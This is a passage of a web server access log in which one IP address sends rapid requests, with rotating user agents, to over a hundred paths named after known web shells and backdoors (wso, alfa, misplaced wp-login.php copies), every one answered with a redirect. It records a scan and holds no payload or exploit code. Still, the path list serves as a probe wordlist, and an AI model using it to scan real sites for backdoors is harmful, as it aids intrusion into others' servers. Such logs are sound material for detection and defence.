(Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:47 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:23:48 -0400] "GET /options-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:48 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:48 -0400] "GET /term.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.33.80 - - [25/Apr/2025:11:23:48 -0400] "GET /wp-pano.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:48 -0400] "GET /xt/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:49 -0400] "GET /moded.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:49 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.33.80 - - [25/Apr/2025:11:23:49 -0400] "GET /wp-content/themes/signify/firkon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:49 -0400] "GET /upgrade.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:23:49 -0400] "GET /gh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:50 -0400] "GET /head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.33.80 - - [25/Apr/2025:11:23:50 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.33.80 - - [25/Apr/2025:11:23:50 -0400] "GET /theme-insqbzk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:50 -0400] "GET /good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.33.80 - - [25/Apr/2025:11:23:50 -0400] "GET /wp-22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:23:51 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:51 -0400] "GET /wp-includes/fonts/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:51 -0400] "GET /wp-content/plugins/envato-market/inc/class-envato-market-api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.33.80 - - [25/Apr/2025:11:23:51 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:51 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:51 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:23:52 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:52 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:23:52 -0400] "GET /wp-content/plugins/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:52 -0400] "GET /wp-includes/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:52 -0400] "GET /.well-known/bala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:23:53 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:53 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:23:53 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:23:53 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.33.80 - - [25/Apr/2025:11:23:53 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.33.80 - - [25/Apr/2025:11:23:54 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:54 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:54 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.33.80 - - [25/Apr/2025:11:23:54 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:23:54 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:55 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.33.80 - - [25/Apr/2025:11:23:55 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.33.80 - - [25/Apr/2025:11:23:55 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:55 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:56 -0400] "GET /wp-content/plugins/wp-daft/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:23:56 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:56 -0400] "GET /wp-includes/SimplePie/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:56 -0400] "GET /wp-includes/sitemaps/providers/ultra.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:56 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:23:57 -0400] "GET /wp-includes/SimplePie/gzdecode.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:57 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:23:57 -0400] "GET /images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:57 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:57 -0400] "GET /ALFA_DATA/alfacgiapi/all.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:23:58 -0400] "GET /wp-admin/css/colors/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:58 -0400] "GET /wp-includes/js/plupload/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:58 -0400] "GET /wp-uploads-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:58 -0400] "GET /wp-admin/includes/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:58 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:59 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:23:59 -0400] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:59 -0400] "GET /export.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:23:59 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:00 -0400] "GET /load-scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.33.80 - - [25/Apr/2025:11:24:00 -0400] "GET /load-styles.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:24:00 -0400] "GET /options-discussion.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:00 -0400] "GET /options-general.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:01 -0400] "GET /options-permalink.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:24:01 -0400] "GET /options-privacy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:24:01 -0400] "GET /options-reading.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:01 -0400] "GET /options-writing.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:24:02 -0400] "GET /post-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:02 -0400] "GET /privacy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:24:02 -0400] "GET /site-health.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:03 -0400] "GET /user-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:03 -0400] "GET /user-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:03 -0400] "GET /wp-by-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:24:04 -0400] "GET /bar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:04 -0400] "GET /samll.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.33.80 - - [25/Apr/2025:11:24:04 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:04 -0400] "GET /plugin-install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:04 -0400] "GET /km.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:05 -0400] "GET /LA.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:24:05 -0400] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:05 -0400] "GET /wp-ldd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:24:06 -0400] "GET /sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:24:06 -0400] "GET /wp-admin/images/Mhbgf.php/wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.33.80 - - [25/Apr/2025:11:24:06 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.33.80 - - [25/Apr/2025:11:24:06 -0400] "GET /wp-content/themes/hariko/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.33.80 - - [25/Apr/2025:11:24:06 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:07 -0400] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:07 -0400] "GET /Njima.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:07 -0400] "GET /.tmb/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.33.80 - - [25/Apr/2025:11:24:07 -0400] "GET /wp-content/themes/pridmag/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:08 -0400] "GET /FroggBaba.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:24:08 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 156.146.33.80 - - [25/Apr/2025:11:24:08 -0400] "GET /wp-admin/maint/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.33.80 - - [25/Apr/2025:11:24:09 -0400] "GET /wp-content/plugins/tunnelforms/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:09 -0400] "GET /wp-content/plugins/tunnelforms/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:24:09 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:24:10 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:10 -0400] "GET /wp-admin/images/Mhbgf.php/xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.33.80 - - [25/Apr/2025:11:24:10 -0400] "GET /gali.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:24:10 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:11 -0400] "GET /cache/i/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:24:11 -0400] "GET /dirs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:24:12 -0400] "GET /abouts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:12 -0400] "GET /malls.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:24:12 -0400] "GET /liefs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:24:13 -0400] "GET /uc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.33.80 - - [25/Apr/2025:11:24:13 -0400] "GET /locks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:13 -0400] "GET /wp-dsdd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:24:13 -0400] "GET /wordpress/logsxxyyzz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:24:13 -0400] "GET /css/bun.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:24:14 -0400] "GET /js/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:24:14 -0400] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:14 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 